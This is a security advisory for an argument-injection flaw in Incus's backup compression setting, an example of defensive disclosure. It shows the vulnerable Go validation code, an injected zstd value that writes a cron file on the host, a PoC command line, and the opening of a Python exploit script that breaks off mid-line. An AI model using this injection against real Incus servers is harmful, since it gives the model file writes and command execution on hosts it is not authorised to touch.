CVE-2026-48755

### Summary Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution. ### Details Incus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist: ```go fields, err := shellquote.Split(value) ... if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) { return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0]) } _, err = exec.LookPath(fields[0]) ``` Extra arguments are not rejected. `compressFile()` then prepends `-c` and passes the remaining user-supplied fields to the compressor: ```go args := []string{"-c"} if len(fields) > 1 { args = append(args, fields[1:]...) } cmd := exec.Command(fields[0], args...) cmd.Stdin = infile cmd.Stdout = outfile ``` With a value like: ```text zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ``` the daemon executes the equivalent of: ```text zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ``` ### PoC ``` python3 poc.py \ --insecure --url https://remote-incus:8443 \ --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \ --instance c01 \ --execute --yes-i-understand-this-writes-host-file ``` The following was generated by an LLM model. ``` #!/usr/bin/env python3 """Short remote Incus backup compression zstd cron RCE PoC. Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor: zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source> The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server. """ from __future__ import annotat